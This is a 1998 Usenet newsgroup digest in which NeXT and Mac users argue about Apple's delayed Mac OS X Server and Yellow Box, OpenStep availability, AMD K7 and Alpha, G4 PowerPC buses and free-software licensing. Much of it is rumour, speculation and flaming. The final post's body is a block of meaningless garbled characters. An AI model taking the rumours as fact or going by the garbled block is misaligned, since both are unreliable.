How many people in this newsgroup would know how to order OpenStep for
Mach for Intel or even black hardware? How about OpenStep for NT/95?
If you are a developer and want to sell OpenStep applications, Apple
has not been very helpful over the last two years.
Todd
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 1998 18:37:39 GMT
Organization: MiscKit Development
Message-ID: <70g0tj$mdh$3@news.xmission.com>
References: <F12zAJ.2uz@T-FCN.Net> <B250BB4A-22543@206.165.43.49>
NNTP-Posting-Date: 19 Oct 1998 18:37:39 GMT
"Lawson English" <english@primenet.com> wrote:
> Where's the purported $20/unit licensing fee coming from if not for DPS?
LZW compression in the TIFF routines and the Pantone CMS, for starters.
We've been through this all before, Lawson.
(I wouldn't be surprised if DPS were at least 50% of that fee, however, which
is still a bit greedy on Adobe's part IMHO.)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 21 Oct 1998 01:09:12 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdfc8d$2142dbe0$06387880@chewy>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote
> Macweek is quoting an Apple spokesperson to the effect that
> MOSXS is not cancelled and will be released before the end
> of the year. See their site.
Everyone who has heard this before, raise your hand.
Last year I told my customers they could have access to my software using
OpenStep by March, but when it was obvious Apple wasn't going to ship
Rhapsody in its planned time, I rolled back to my X-windows solution for
Solaris, and today I am investing in Java. I hope to have the Java version
out in about four weeks.
I prefer OpenStep (YB) *far* more than X, and I even like it more than
Java. But in the end, my customers needed the software, so I had to
abondoned YB development.
I really like Apple, I really like what Steve has done with it, and I
really have high hopes for it. But at best, it appears that YB developers
will have to have waited 23 months instead of the promised 12 months before
they can sell their products - and that is if it ships with their most
recent promised date.
Todd
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net> <70cf0e$26p$3@news.idiom.com> <362a1a8d.0@news.together.net> <70eq7c$dop$1@news.idiom.com>
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 08:56:23 -0400
Message-ID: <362b3582.0@news.together.net>
Organization: Together Networks - Burlington, VT.
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote in message
70eq7c$dop$1@news.idiom.com...
> "Lance Togar" may or may not have said:
>[snip]
>
>-> >-> What's difference between the second choice and Microsoft?
>-> >
>-> >About five orders of magnitude of code quality, for a start.
>-> >
>-> ..
>-> Probably seen a lot of MS source... eh?
>
>You don't need to see the sources to know when a program is crap. When a
>word processor can be crashed by reading a document that it *created*, it's
>crap.
>
>Also, I've met enough MS coders at the SF conventions up in Seattle to know
>that ignorant children such as they, will never write anything I want to
use.
>
..
ROFLOL!! Let me guess, master of generalizations... you've got a different
opinion of Apple & NeXT coders. As you know, there's plenty of non-MS code.
Hope you're taking full advantage. BTW, I know this'll be quite a stretch
but have you considered that your machine and/or configuration might've been
at fault concerning the failed WP doc opening?
..
..
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 21 Oct 1998 01:34:18 GMT
Organization: University of Maryland, College Park
Message-ID: <70jdmq$nlt$3@hecate.umd.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu> <70h91l$23ie$1@piglet.cc.uic.edu> <70hd1b$tgc$1@hecate.umd.edu> <362D0D10.DC8B5517@waii.com> <rbarris-ya023280002010981602080001@206.82.216.1>
Rob Barris (rbarris@quicksilver.com) wrote:
: In article <362D0D10.DC8B5517@waii.com>, Tom Vincent <tom.vincent@waii.com>
: wrote:
: > Right now Intel is the chip foundry for the Alpha.
: Replace "the" with "one of the" above, Samsung also has a stake in
: manufacturing Alpha, and isn't there one other Asian source?
I believe Mitsubishi pulled out. I'm not sure if there was some other
source.
: Rob
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
Message-ID: <362B3FE6.B57084A9@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: Mon, 19 Oct 1998 09:35:00 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 19 Oct 1998 08:34:30 -0500
Lawson English wrote:
>
> I just added comp.sys.next.advocacy to this.
>
> My response is that I apparently just purchased 2 new harddrives for
> nothing. My hope was to boot MacOS X server off of one, and the
> unsupported MacOS X consumer product off of the other so that I could at
> least attempt to program for the future using my three month old 7300/180.
Welcome to the age of the Internet. If the rumor is *not* true, it will
nevertheless have spread to nearly every Mac-interest Web site on the
planet by this morning. It's already on several mailing lists that I've
seen, newsgroups, and news sites. Stealth marketing was bad enough once
upon a time, but nowadays...
Then again, if it *is* true, I take it all back. I'm sure that
hardworking NeXT developers are glad to have the news straight from a
rumor site rather than an official statement from Apple.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 21 Oct 1998 04:02:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70jmbp$mqb@news1.panix.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <70j3bk$ko1$4@msunews.cl.msu.edu>
On 20 Oct 1998 22:37:40 GMT, spammers@ruin.the.internet.channelu.com
<spammers@ruin.the.internet.channelu.com> wrote:
>what I advocated in terms of a strong
>commitment to YB, and to intel support, to bring back the enterprise.
With all due respect, Apple is in no position to launch a major push
into the enterprise market, no matter how good OSX might be.
Apple has zero credibility in that market. While I think intel support
would be great, it isn't going to do them a damn bit of good until they
ship the product and:
a) Push it in an effective campaign geared to IS manager and programmers
b) Build an infrastructure to support VARs and consultants
IMnsHO, Even under the best of circumstances (a solid roadmap with Intel
support with the product shipping today), Apple wouldn't be a viable force
in the enterprise market for two or three years.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 21 Oct 1998 04:02:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70jmbo$mqb@news1.panix.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com>
On Tue, 20 Oct 1998 13:39:49 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>Maury Markowitz wrote:
>> This is entirely different than what they were doing. They were doing
>> "server" and telling everyone to upgrade.
>They were doing MacOS and OPENSTEP and telling developers that they now
>had an upgrade option.
How are they _not_ doing that now? Apple appears to be working on both
MacOS and OSX with plans to ship both over the next few years.
>I don't know how you get this "in retrospect". What signs have we that
>*failing* to ship a completely new operating system is better than
>*succeeding* in shipping the already-highly-acclaimed OPENSTEP?
Apple has almost _zero_ credibility in the enterprise market. Shipping
OpenStep as it was would have done little to build credibility. Shipping
OSX Server, with many improvements over OS4.2, and some kind of marketing
push (perhaps with WO4) _may_ improve Apple's credibility.
>I'll take the strategy we might have had in early 1997 over the strategy
>we still don't have in late 1998, Genius Jobs and his tactics aside.
I'll take the possibility that OSX is marketed half as well as the iMac
was over whatever plan Gil cooked up in early '97.
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 19 Oct 1998 14:09:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70fh7b$jm8@newsb.netnews.att.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <362B3FE6.B57084A9@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>
>Welcome to the age of the Internet. If the rumor is *not* true, it will
>nevertheless have spread to nearly every Mac-interest Web site on the
>planet by this morning. It's already on several mailing lists that I've
>seen, newsgroups, and news sites. Stealth marketing was bad enough once
>upon a time, but nowadays...
>
>Then again, if it *is* true, I take it all back. I'm sure that
>hardworking NeXT developers are glad to have the news straight from a
>rumor site rather than an official statement from Apple.
When I read the rumor, my second reaction was that this might
be a way of forcing Apple to declare its intentions.
-arun gupta
Message-ID: <362D5F62.74F86113@camtech.com.au>
Date: Wed, 21 Oct 1998 13:43:22 +0930
From: Justin Baldock <justin@camtech.com.au>
Organization: Camtech
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net>
Content-Type: text/plain; charset=us-ascii
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> -Tim
>
> p.s. sorry about the cheap shot about your brain. I'm feeling peevish. I
> spent
> all day trying to get a Mac to recognize a non-Apple SCSI CD-ROM
> drive. :( Any hints?
good luck, I think you'll need FWB CD-ROM toolkit or .. there was a ver
of the CD-ROM extension which did support non-apple cd drives, but i
can't remember it, it was early in the time of clones.
Justin.Baldock aka LordFire
Check out my hotline tracker and server at
australia.hltracker.com or 203.5.73.153
Or check out my web site at the same address
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The vast microsoft conspiricy (Journalism)
Date: 21 Oct 1998 04:20:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70jnel$n3q@news1.panix.com>
References: <--1910982214370001@port36.lightlink.com>
On Mon, 19 Oct 1998 22:14:37 -0500, -@-._ <-@-._> wrote:
> This messege is somewhat rushed, as my time is fleeting, but its
>content should be very informative. I provides evidence of further
>efforts of the Microsoft Imperium to implant themselves within the deep
>consious and sub consious of the Worlds people.
Soylent green is people! Soylent green is people!
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 21 Oct 1998 04:06:57 GMT
Organization: University of Illinois at Chicago
Message-ID: <70jml1$2ska$1@piglet.cc.uic.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: I believe that's the foundry agreement that FTC asked Compaq and AMD to
: sign as a condition of allowing Compaq's purchase of Digital to proceed.
: Perhaps I am being confused by the terminology here. "Alpha clone"
: would mean to me a processor designed by AMD, and manufactured by AMD,
: but runs the Alpha IS. As far as Compaq using AMD as the foundry to
: manufacture Alpha, that's quite feasible and likely. IMO, K7 doesn't
: compete with Alpha, but with Intel's other IA-32 chips. As a matter of
: fact, AMD may be seeking Alpha IS as their 64 bit platform.
I remember there being some talk of granting AMD an architectural
license. But nothing was ever formally announced regarding AMD
licensing the Alpha. They have to run a tight ship right now,
so investing in Alpha would be a waste of resources for AMD at
the moment.
: It would make sense, and it is a natural alliance.
: Intel AMD
: HP Compaq
: Pentium II/etc K6/K7/etc
: IA-64 Alpha
: Slot M Slot A
: HP/UX D/UX
Of course neither of these UNIXes have software portfolios on these
platforms, so it really doesn't make that sense. Besides there is
only going to be a window of maybe 6 to 12 months for the
K7 and Alpha 21264 to ride each other, since once the 21364 comes out
the EV6/Slot A interface will likely disappear quickly from
Compaq/Digital Alpha based systems.
: However, I have not seen any news of AMD working on an Alpha design,
: although like Intel, AMD now has two design teams running in parallel
: as well, and since the K7 team is still working on debugging and
: tapeout of K7, I wonder what the K6(NexGen) team is doing?
They are apparently responsible for making modifications to the
K6 core. Their next project is SharpTooth, or the K6-3 with
integrated cache.
: --
: davewang@kagututi.kecl.ntt.co.jp.meaningless
: All statements are personal opinions
: Not speaking for NTT or University of Maryland
: Nara, Japan.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 21 Oct 1998 04:31:12 GMT
Organization: Michigan State University
Message-ID: <70jo2g$hbk$1@msunews.cl.msu.edu>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
<F14qsH.CE2@T-FCN.Net> <70ijgl$9c$1@nnrp1.dejanews.com>
<70j53v$ko1$5@msunews.cl.msu.edu> <01bdfc9b$250cfae0$06387880@chewy>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: todd@dev.null
In <01bdfc9b$250cfae0$06387880@chewy> "Todd Heberlein (todd at NetSQ dot com)" wrote:
> spammers@ruin.the.internet.channelu.com wrote
> > Still we are stuck without a Openstep on PPC or G3. Why?!
> > No YB for MacOS. Hell no YB for anything except Intel/Black.
> > (I am counting shipping products)
>
> And at what price? And what part number?
Sigh. I had thought that Apple was still selling copies of 4.2. I may
be wrong. Does anyone know the scoop.. I think it's time to talk
to Rob Blessin of Black Hole..
> How many people in this newsgroup would know how to order OpenStep for
> Mach for Intel or even black hardware? How about OpenStep for NT/95?
From Apple? Agreed probably very few.
> If you are a developer and want to sell OpenStep applications, Apple
> has not been very helpful over the last two years.
Very true. One reason I advocated (1-2/97) Apple simply port Openstep
to PPC and related products and release them there. This would have
given them at least a year to be digested on PPC - and possibly an
inkling of interest and possibly could have significantly helped YB
gain more momentum. Unfortunately it's 10/98 and were still waiting.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 21 Oct 1998 04:36:48 GMT
Organization: University of Maryland, College Park
Message-ID: <70jod0$c70$1@hecate.umd.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : I believe that's the foundry agreement that FTC asked Compaq and AMD to
: : sign as a condition of allowing Compaq's purchase of Digital to proceed.
: : Perhaps I am being confused by the terminology here. "Alpha clone"
: : would mean to me a processor designed by AMD, and manufactured by AMD,
: : but runs the Alpha IS. As far as Compaq using AMD as the foundry to
: : manufacture Alpha, that's quite feasible and likely. IMO, K7 doesn't
: : compete with Alpha, but with Intel's other IA-32 chips. As a matter of
: : fact, AMD may be seeking Alpha IS as their 64 bit platform.
: I remember there being some talk of granting AMD an architectural
: license. But nothing was ever formally announced regarding AMD
: licensing the Alpha. They have to run a tight ship right now,
: so investing in Alpha would be a waste of resources for AMD at
: the moment.
They have to make contingency plans. AMD wants to move into the high
price/margin processor arena, and they *may* yet do it with K7, but
what's next? Will K8 be IA-32 as well, and can it compete against the
likes of Alpha 21364 and McKinley? K7++ isn't a long term solution
to compete against the 21364/McKinley platforms. In less than 3 years
those chips should be on the market, and it normally takes 3 years
or more to bring a new core to fruition from the ground up. AMD must
have a battleplan in place if it wishes to enter and remain in the
server/workstation processor business.
: : It would make sense, and it is a natural alliance.
: : Intel AMD
: : HP Compaq
: : Pentium II/etc K6/K7/etc
: : IA-64 Alpha
: : Slot M Slot A
: : HP/UX D/UX
: Of course neither of these UNIXes have software portfolios on these
: platforms, so it really doesn't make that sense. Besides there is
: only going to be a window of maybe 6 to 12 months for the
: K7 and Alpha 21264 to ride each other, since once the 21364 comes out
: the EV6/Slot A interface will likely disappear quickly from
: Compaq/Digital Alpha based systems.
I have only heard sketchy details of 21364, and I'm not as convinced
that Slot A will die quickly.
: : However, I have not seen any news of AMD working on an Alpha design,
: : although like Intel, AMD now has two design teams running in parallel
: : as well, and since the K7 team is still working on debugging and
: : tapeout of K7, I wonder what the K6(NexGen) team is doing?
: They are apparently responsible for making modifications to the
: K6 core. Their next project is SharpTooth, or the K6-3 with
: integrated cache.
I don't think that adding 3DNow! or adding another level of caching
would require an entire design team's undivided attention. Those are,
relatively speaking, minor tweaks to the core. What does their next core
look like? I suspect that the main chunk of the team has moved on to
some yet-unannounced project.
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: Mon, 19 Oct 1998 10:15:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <362B577C.265F06DB@ericsson.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <3629ca02.0@nnrp1.news.uk.psi.net> <362AB5AC.486BB4C1@nstar.net> <362B48AC.B76912D5@cadence.com>
Mime-Version: 1.0
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Simon Kinahan wrote:
> I think all free software licensing schemes have their place, as I've said
> in an earlier post. The problem with the BSD-style license you seem to be
> advocating above is that commercial resellers of the originally free
> software can add very small amounts of functionality (new drivers for
> instance) which the free software community has not managed to introduce
> yet, and make a killing from people with a need for them.
This is a problem? Nothing more clearly demonstrates my point that
_needs_ are an unfulfilled opportunity. _Solutions_ have a very real
monetary _value_. If free software does not meet a need, but could
easily be modified to do so, and that need is worth a lot of money to
certain people, there's a direct motivation for that need to be met,
period. And it *will* get met.
What's wrong with this? Everyone ends up happy. If free software
developers get in a huff because someone else is making money meeting a
customer need, then they should use GPL and stop calling themselves free
software developers. In the meantime, real free software developers will
probably get around to adding the desired functionality in the freeware
domain (since it is small, as you said) and the commercial vendors can
move onto solving new problems.
> If you're fine with that, thats fine, but it convinces me that GPL software
> has its place.
Unfortunately...
MJP
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
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References: <70fpbp$dhd$1@nnrp1.dejanews.com> <70fvt4$mdh$2@news.xmission.com>
<70g8bp$2k5$1@msunews.cl.msu.edu>
Message-ID: <YPdX1.2567$yb5.3013570@news.rdc1.sdca.home.com>
Date: Wed, 21 Oct 1998 04:56:24 GMT
NNTP-Posting-Date: Tue, 20 Oct 1998 21:56:24 PDT
Organization: @Home Network
In <70g8bp$2k5$1@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
[snip backstory]
> Somehow I'm guessing
> that since we come from the NeXT/NeXTstep days that we are a very small
> group of voices which Apple now has a reason to ignore (we have become
> a tiny minority in the vast MacOS majority).
>
>
Further credence... remember it was exactly the *Guru* cult that was NeXT's
anchor around its neck. Job's is not above further distancing those types
from Apple technologies.
Guru types were not scalable with the platform. Guru's owned NeXT's
resource pool, creative pool and knowledge pool. NeXT Guru was a Programmer
in an Armani Suit in the 90's making $70K+. That image persists... I just
saw reference to this last week ( IIRC in a financial analysis wrt Apple).
The market demanded Programmer's making $40K without the suit... NeXT
stalled.
-r
Rex Riley
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 19 Oct 1998 15:46:51 GMT
Organization: Primenet (602)416-7000
Message-ID: <70fmtb$7ur$1@nnrp02.primenet.com>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <362B59C0.DA2A5A18@mci.com>
David Hinz <David.Hinz@mci.com> wrote:
: There are many reasons to have a 64-bit processor. The main one is that
: it virtually removes all limits on processing of large numbers. I know
: that there are some programs that will probably exceed 64-bits
: (astronomy?), but for most programs 64-bits really will be enough for a
: long time.
: Tim Olson wrote:
: > Why do you want 64-bit processors? Are you really running out of the 4GB
: > address space on your desktop machine?
The reason I've heard for 64-bit OSes is that you can memory map large
files and/or databases. The physical memory may be "as small as" a few
gig, but you get the simpler program structure that memory mapping
provides.
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: gupta@knim.tm.tta.moc-mirror after @
Organization: My ISP puts something here if I don't.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<362B3FE6.B57084A9@nstar.net> <70fh7b$jm8@newsb.netnews.att.com>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 15:44:46 GMT
In <70fh7b$jm8@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:
> When I read the rumor, my second reaction was that this might
> be a way of forcing Apple to declare its intentions.
Interesting, but this has never been the case in the past.
Being "in the loop" of OS developers have proven to be an interesting
experience. I can think of at last 5, perhaps as many as 10, of these
identical rumors coming about but *not* hitting the rumor sites. In each
of those cases a little digging of those in the know demonstrated it to be
that Apple person extrapolating based on a rather incomplete understanding
of the strategy. It seems this is based as much on fear of change as
anything else. Given "any old guy" spreading such a rumor it doesn't go
far, but when it's an Apple employee it does (note that at least three of
the rumors I heard in this regard were from Apple employees).
If anything this demonstrates why Apple has to keep mum about this as
much as possible, as it seems that some of their employees are willing to
spout off about things they really don't know about, in public, at
MacWorlds. Releasing real info would simply add to the confusion.
Maury
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
MIME-Version: 1.0
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References: <70fpbp$dhd$1@nnrp1.dejanews.com>
Message-ID: <F_dX1.2581$yb5.3018728@news.rdc1.sdca.home.com>
Date: Wed, 21 Oct 1998 05:07:49 GMT
NNTP-Posting-Date: Tue, 20 Oct 1998 22:07:49 PDT
Organization: @Home Network
In <70fpbp$dhd$1@nnrp1.dejanews.com> cvbuskirk@home.com wrote:
> 1. Mac OSX Server 1.0 becomes Beta 3 with alpha Carbon api support, to be
> released in January.
>
> 2. Intel support is completely dropped. Apple figures its Gx hardware is
much
> more lucrative then supporting an OS on intel. This also includes yellow
box
> support on windows.
>
>
As long as Mission Critical clients have an upgrade path (few left, there
are) there is a future. Apple probably can better take care of the few
remaining critical IT accounts (yes, by Stealth Intel OS X Server) than by
releasing to the public and all it's resultant ramifications.
So Apple cuts a couple thousand Intel OS X server CD's. Stealth distributes
to select accounts. IT is happy. This buys Apple time and a longer beta
cycle. The customer gets time, a bridge to the future and an upgrade
promise to a "better" server.
If there is a known future, most IT people can plan for or around it. It
sounds like a reasonable plan for Apple to engineer its MacOS X releases and
future success with the least disruptions.
-r
Rex Riley
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
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Organization: My ISP puts something here if I don't.
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<709a8k$2rlo$1@piglet.cc.uic.edu>
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Date: Mon, 19 Oct 1998 15:54:10 GMT
In <709a8k$2rlo$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> Apparently the G4 will have the option of using a 128 bit system
> SMP bus (as well as a wider 128 bit cache interface).
Oh, well _that's_ certainly interesting. Still I wonder how much extra
performance can be gained without also moving to a newer memory subsystem
like RAMBUS (or that clone who's name I forget). You can get a bit from
interleaving current DRAMs, but do you think a bigger system bus will
really help much in "standard" machines?
> use the 60X bus, so it can be used on current systems. So AltiVec
> should not be slowed down.
I don't understand - do you mean in the case of a 128bit system bus?
> My question is whether a double
> data rate capability will be added. 3.2 GB/s sustainable
> bandwidth would be pretty impressive.
Do you mean a 2x mode, or simply a non-1/2 mode?
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
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Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <B24E193E-1C973@206.165.43.60>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 15:57:02 GMT
In <B24E193E-1C973@206.165.43.60> "Lawson English" wrote:
> None, at this point, but as someone else pointed out, 64-bit fixed point
> operations could easily replace floating point operations in games and
Wouldn't this be likely to result in minimal gains, and perhaps loses?
One of the advantages of using the FPU is that it leaves the int units free.
Maury
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 08:52:07 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1910980852070001@1cust29.tnt1.santa-barbara.ca.da.uu.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net> <70cf0e$26p$3@news.idiom.com> <362a1a8d.0@news.together.net> <70eq7c$dop$1@news.idiom.com> <362b3582.0@news.together.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
> >Also, I've met enough MS coders at the SF conventions up in Seattle to know
> >that ignorant children such as they, will never write anything I want to
